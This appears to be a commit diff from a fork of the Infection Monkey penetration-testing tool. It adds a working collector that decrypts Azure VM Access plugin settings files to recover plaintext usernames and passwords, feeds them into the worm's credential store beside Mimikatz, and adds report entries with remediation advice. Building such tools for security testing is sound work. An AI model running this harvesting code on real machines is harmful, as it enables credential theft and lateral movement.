forked from p15670423/monkey
Merge pull request #110 from guardicore/feature/extract_azure
Feature/extract azure Onto master for specific release
This commit is contained in:
commit
7412b47348
|
@ -272,5 +272,7 @@ class Configuration(object):
|
||||||
|
|
||||||
mimikatz_dll_name = "mk.dll"
|
mimikatz_dll_name = "mk.dll"
|
||||||
|
|
||||||
|
extract_azure_creds = True
|
||||||
|
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -15,6 +15,7 @@
|
||||||
"current_server": "41.50.73.31:5000",
|
"current_server": "41.50.73.31:5000",
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
|
"extract_azure_creds": true,
|
||||||
"depth": 2,
|
"depth": 2,
|
||||||
|
|
||||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||||
|
|
|
@ -6,6 +6,7 @@ import psutil
|
||||||
from enum import IntEnum
|
from enum import IntEnum
|
||||||
|
|
||||||
from network.info import get_host_subnets
|
from network.info import get_host_subnets
|
||||||
|
from azure_cred_collector import AzureCollector
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -104,3 +105,29 @@ class InfoCollector(object):
|
||||||
"""
|
"""
|
||||||
LOG.debug("Reading subnets")
|
LOG.debug("Reading subnets")
|
||||||
self.info['network_info'] = {'networks': get_host_subnets()}
|
self.info['network_info'] = {'networks': get_host_subnets()}
|
||||||
|
|
||||||
|
def get_azure_info(self):
|
||||||
|
"""
|
||||||
|
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
|
||||||
|
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
|
||||||
|
:return: None. Updates class information
|
||||||
|
"""
|
||||||
|
from config import WormConfiguration
|
||||||
|
if not WormConfiguration.extract_azure_creds:
|
||||||
|
return
|
||||||
|
LOG.debug("Harvesting creds if on an Azure machine")
|
||||||
|
azure_collector = AzureCollector()
|
||||||
|
if 'credentials' not in self.info:
|
||||||
|
self.info["credentials"] = {}
|
||||||
|
azure_creds = azure_collector.extract_stored_credentials()
|
||||||
|
for cred in azure_creds:
|
||||||
|
username = cred[0]
|
||||||
|
password = cred[1]
|
||||||
|
if username not in self.info["credentials"]:
|
||||||
|
self.info["credentials"][username] = {}
|
||||||
|
# we might be losing passwords in case of multiple reset attempts on same username
|
||||||
|
# or in case another collector already filled in a password for this user
|
||||||
|
self.info["credentials"][username]['password'] = password
|
||||||
|
if len(azure_creds) != 0:
|
||||||
|
self.info["Azure"] = {}
|
||||||
|
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
|
||||||
|
|
|
@ -0,0 +1,104 @@
|
||||||
|
import sys
|
||||||
|
import logging
|
||||||
|
import os.path
|
||||||
|
import json
|
||||||
|
import glob
|
||||||
|
import subprocess
|
||||||
|
|
||||||
|
__author__ = 'danielg'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class AzureCollector(object):
|
||||||
|
"""
|
||||||
|
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
if sys.platform.startswith("win"):
|
||||||
|
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
|
||||||
|
self.extractor = AzureCollector.get_pass_windows
|
||||||
|
else:
|
||||||
|
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
|
||||||
|
self.extractor = AzureCollector.get_pass_linux
|
||||||
|
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
|
||||||
|
|
||||||
|
def extract_stored_credentials(self):
|
||||||
|
"""
|
||||||
|
Returns a list of username/password pairs saved under configuration files
|
||||||
|
:return: List of (user/pass), possibly empty
|
||||||
|
"""
|
||||||
|
results = [self.extractor(filepath) for filepath in self.file_list]
|
||||||
|
results = [x for x in results if x]
|
||||||
|
LOG.info("Found %d Azure VM access configuration file", len(results))
|
||||||
|
return results
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_pass_linux(filepath):
|
||||||
|
"""
|
||||||
|
Extract passwords from Linux azure VM Access files
|
||||||
|
:return: Username, password
|
||||||
|
"""
|
||||||
|
linux_cert_store = "/var/lib/waagent/"
|
||||||
|
try:
|
||||||
|
json_data = json.load(open(filepath, 'r'))
|
||||||
|
# this is liable to change but seems to be stable over the last year
|
||||||
|
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
||||||
|
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
|
||||||
|
base64_command = """openssl base64 -d -a"""
|
||||||
|
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
|
||||||
|
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
||||||
|
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
|
||||||
|
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
|
||||||
|
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||||
|
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
|
||||||
|
decrypt_data = json.loads(decrypt_raw)
|
||||||
|
return decrypt_data['username'], decrypt_data['password']
|
||||||
|
except IOError:
|
||||||
|
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||||
|
return None
|
||||||
|
except (KeyError, ValueError):
|
||||||
|
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||||
|
return None
|
||||||
|
except subprocess.CalledProcessError:
|
||||||
|
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
||||||
|
return None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_pass_windows(filepath):
|
||||||
|
"""
|
||||||
|
Extract passwords from Windows azure VM Access files
|
||||||
|
:return: Username,password
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
json_data = json.load(open(filepath, 'r'))
|
||||||
|
# this is liable to change but seems to be stable over the last year
|
||||||
|
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
|
||||||
|
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
|
||||||
|
# we're going to do as much of this in PS as we can.
|
||||||
|
ps_block = ";\n".join([
|
||||||
|
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
|
||||||
|
'$base64 = "%s"' % protected_data,
|
||||||
|
"$content = [Convert]::FromBase64String($base64)",
|
||||||
|
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
|
||||||
|
"$env.Decode($content)",
|
||||||
|
"$env.Decrypt()",
|
||||||
|
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
|
||||||
|
"Write-Host $utf8content" # we want to simplify parsing
|
||||||
|
])
|
||||||
|
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
|
||||||
|
ps_out = ps_proc.communicate(ps_block)[0]
|
||||||
|
# this is disgusting but the alternative is writing the file to disk...
|
||||||
|
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
|
||||||
|
password = json.loads(password_raw)["Password"]
|
||||||
|
return username, password
|
||||||
|
except IOError:
|
||||||
|
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||||
|
return None
|
||||||
|
except (KeyError, ValueError):
|
||||||
|
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||||
|
return None
|
||||||
|
except subprocess.CalledProcessError:
|
||||||
|
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
|
||||||
|
return None
|
|
@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector):
|
||||||
self.get_hostname()
|
self.get_hostname()
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
self.get_network_info()
|
self.get_network_info()
|
||||||
|
self.get_azure_info()
|
||||||
return self.info
|
return self.info
|
||||||
|
|
|
@ -27,6 +27,8 @@ class WindowsInfoCollector(InfoCollector):
|
||||||
self.get_hostname()
|
self.get_hostname()
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
self.get_network_info()
|
self.get_network_info()
|
||||||
|
self.get_azure_info()
|
||||||
mimikatz_collector = MimikatzCollector()
|
mimikatz_collector = MimikatzCollector()
|
||||||
self.info["credentials"] = mimikatz_collector.get_logon_info()
|
mimikatz_info = mimikatz_collector.get_logon_info()
|
||||||
|
self.info["credentials"].update(mimikatz_info)
|
||||||
return self.info
|
return self.info
|
||||||
|
|
|
@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource):
|
||||||
|
|
||||||
if guid:
|
if guid:
|
||||||
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
|
||||||
|
monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config'])
|
||||||
return monkey_json
|
return monkey_json
|
||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource):
|
||||||
# if new monkey telem, change config according to "new monkeys" config.
|
# if new monkey telem, change config according to "new monkeys" config.
|
||||||
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
|
||||||
if not db_monkey:
|
if not db_monkey:
|
||||||
new_config = ConfigService.get_flat_config(False, True)
|
# we pull it encrypted because we then decrypt it for the monkey in get
|
||||||
|
new_config = ConfigService.get_flat_config(False, False)
|
||||||
monkey_json['config'] = monkey_json.get('config', {})
|
monkey_json['config'] = monkey_json.get('config', {})
|
||||||
monkey_json['config'].update(new_config)
|
monkey_json['config'].update(new_config)
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
import copy
|
import copy
|
||||||
|
import collections
|
||||||
import functools
|
import functools
|
||||||
from jsonschema import Draft4Validator, validators
|
from jsonschema import Draft4Validator, validators
|
||||||
|
|
||||||
|
@ -521,8 +522,8 @@ SCHEMA = {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"mimikatz": {
|
"systemInfo": {
|
||||||
"title": "Mimikatz",
|
"title": "System collection",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": {
|
"properties": {
|
||||||
"mimikatz_dll_name": {
|
"mimikatz_dll_name": {
|
||||||
|
@ -531,6 +532,13 @@ SCHEMA = {
|
||||||
"default": "mk.dll",
|
"default": "mk.dll",
|
||||||
"description":
|
"description":
|
||||||
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
|
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
|
||||||
|
},
|
||||||
|
"extract_azure_creds": {
|
||||||
|
"title": "Harvest Azure Credentials",
|
||||||
|
"type": "boolean",
|
||||||
|
"default": True,
|
||||||
|
"description":
|
||||||
|
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -978,6 +986,19 @@ class ConfigService:
|
||||||
def encrypt_config(config):
|
def encrypt_config(config):
|
||||||
ConfigService._encrypt_or_decrypt_config(config, False)
|
ConfigService._encrypt_or_decrypt_config(config, False)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def decrypt_flat_config(flat_config):
|
||||||
|
"""
|
||||||
|
Same as decrypt_config but for a flat configuration
|
||||||
|
"""
|
||||||
|
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
|
||||||
|
for key in keys:
|
||||||
|
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
|
||||||
|
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
|
||||||
|
else:
|
||||||
|
flat_config[key] = encryptor.dec(flat_config[key])
|
||||||
|
return flat_config
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
def _encrypt_or_decrypt_config(config, is_decrypt=False):
|
||||||
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
|
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:
|
||||||
|
|
|
@ -33,6 +33,7 @@ class ReportService:
|
||||||
SAMBACRY = 3
|
SAMBACRY = 3
|
||||||
SHELLSHOCK = 4
|
SHELLSHOCK = 4
|
||||||
CONFICKER = 5
|
CONFICKER = 5
|
||||||
|
AZURE = 6
|
||||||
|
|
||||||
class WARNINGS_DICT(Enum):
|
class WARNINGS_DICT(Enum):
|
||||||
CROSS_SEGMENT = 0
|
CROSS_SEGMENT = 0
|
||||||
|
@ -71,6 +72,19 @@ class ReportService:
|
||||||
}
|
}
|
||||||
for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
|
for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_azure_issues():
|
||||||
|
creds = ReportService.get_azure_creds()
|
||||||
|
machines = set([instance['origin'] for instance in creds])
|
||||||
|
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
'type': 'azure_password',
|
||||||
|
'machine': machine,
|
||||||
|
'users': set([instance['username'] for instance in creds if instance['origin'] == machine])
|
||||||
|
}
|
||||||
|
for machine in machines]
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_scanned():
|
def get_scanned():
|
||||||
nodes = \
|
nodes = \
|
||||||
|
@ -135,6 +149,26 @@ class ReportService:
|
||||||
)
|
)
|
||||||
return creds
|
return creds
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_azure_creds():
|
||||||
|
"""
|
||||||
|
Recover all credentials marked as being from an Azure machine
|
||||||
|
:return: List of credentials.
|
||||||
|
"""
|
||||||
|
creds = []
|
||||||
|
for telem in mongo.db.telemetry.find(
|
||||||
|
{'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}},
|
||||||
|
{'data.Azure': 1, 'monkey_guid': 1}
|
||||||
|
):
|
||||||
|
azure_users = telem['data']['Azure']['usernames']
|
||||||
|
if len(azure_users) == 0:
|
||||||
|
continue
|
||||||
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
|
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
|
||||||
|
'origin': origin} for user in azure_users]
|
||||||
|
creds.extend(azure_leaked_users)
|
||||||
|
return creds
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def process_general_exploit(exploit):
|
def process_general_exploit(exploit):
|
||||||
ip_addr = exploit['data']['machine']['ip_addr']
|
ip_addr = exploit['data']['machine']['ip_addr']
|
||||||
|
@ -277,7 +311,7 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_issues():
|
def get_issues():
|
||||||
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues()
|
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
|
||||||
issues_dict = {}
|
issues_dict = {}
|
||||||
for issue in issues:
|
for issue in issues:
|
||||||
machine = issue['machine']
|
machine = issue['machine']
|
||||||
|
@ -315,7 +349,8 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_config_ips():
|
def get_config_ips():
|
||||||
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, True) != 'FixedRange':
|
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True,
|
||||||
|
True) != 'FixedRange':
|
||||||
return []
|
return []
|
||||||
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
|
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
|
||||||
|
|
||||||
|
@ -325,7 +360,7 @@ class ReportService:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_issues_overview(issues, config_users, config_passwords):
|
def get_issues_overview(issues, config_users, config_passwords):
|
||||||
issues_byte_array = [False] * 6
|
issues_byte_array = [False] * len(ReportService.ISSUES_DICT)
|
||||||
|
|
||||||
for machine in issues:
|
for machine in issues:
|
||||||
for issue in issues[machine]:
|
for issue in issues[machine]:
|
||||||
|
@ -337,6 +372,8 @@ class ReportService:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
|
||||||
elif issue['type'] == 'conficker':
|
elif issue['type'] == 'conficker':
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
|
||||||
|
elif issue['type'] == 'azure_password':
|
||||||
|
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
|
||||||
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
|
||||||
issue['username'] in config_users:
|
issue['username'] in config_users:
|
||||||
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
|
||||||
|
@ -397,7 +434,8 @@ class ReportService:
|
||||||
{
|
{
|
||||||
'scanned': ReportService.get_scanned(),
|
'scanned': ReportService.get_scanned(),
|
||||||
'exploited': ReportService.get_exploited(),
|
'exploited': ReportService.get_exploited(),
|
||||||
'stolen_creds': ReportService.get_stolen_creds()
|
'stolen_creds': ReportService.get_stolen_creds(),
|
||||||
|
'azure_passwords': ReportService.get_azure_creds(),
|
||||||
},
|
},
|
||||||
'recommendations':
|
'recommendations':
|
||||||
{
|
{
|
||||||
|
|
|
@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
ELASTIC: 2,
|
ELASTIC: 2,
|
||||||
SAMBACRY: 3,
|
SAMBACRY: 3,
|
||||||
SHELLSHOCK: 4,
|
SHELLSHOCK: 4,
|
||||||
CONFICKER: 5
|
CONFICKER: 5,
|
||||||
|
AZURE: 6
|
||||||
};
|
};
|
||||||
|
|
||||||
Warning =
|
Warning =
|
||||||
|
@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent {
|
||||||
{this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
|
{this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
|
||||||
<li>Machines are accessible using passwords supplied by the user during the Monkey’s
|
<li>Machines are accessible using passwords supplied by the user during the Monkey’s
|
||||||
configuration.</li> : null}
|
configuration.</li> : null}
|
||||||
|
{this.state.report.overview.issues[this.Issue.AZURE] ?
|
||||||
|
<li>Azure machines expose plaintext passwords. (<a
|
||||||
|
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||||
|
>More info</a>)</li> : null}
|
||||||
|
|
||||||
</ul>
|
</ul>
|
||||||
</div>
|
</div>
|
||||||
:
|
:
|
||||||
|
@ -587,6 +593,21 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
generateAzureIssue(issue) {
|
||||||
|
return (
|
||||||
|
<li>
|
||||||
|
Delete VM Access plugin configuration files.
|
||||||
|
<CollapsibleWellComponent>
|
||||||
|
Credentials could be stolen from <span
|
||||||
|
className="label label-primary">{issue.machine}</span> for the following users <span
|
||||||
|
className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a
|
||||||
|
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
|
||||||
|
>here</a>.
|
||||||
|
</CollapsibleWellComponent>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
generateConfickerIssue(issue) {
|
generateConfickerIssue(issue) {
|
||||||
return (
|
return (
|
||||||
<li>
|
<li>
|
||||||
|
@ -631,6 +652,8 @@ class ReportPageComponent extends AuthComponent {
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
generateIssue = (issue) => {
|
generateIssue = (issue) => {
|
||||||
let data;
|
let data;
|
||||||
switch (issue.type) {
|
switch (issue.type) {
|
||||||
|
@ -670,6 +693,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
case 'tunnel':
|
case 'tunnel':
|
||||||
data = this.generateTunnelIssue(issue);
|
data = this.generateTunnelIssue(issue);
|
||||||
break;
|
break;
|
||||||
|
case 'azure_password':
|
||||||
|
data = this.generateAzureIssue(issue);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return data;
|
return data;
|
||||||
};
|
};
|
||||||
|
|
Loading…
Reference in New Issue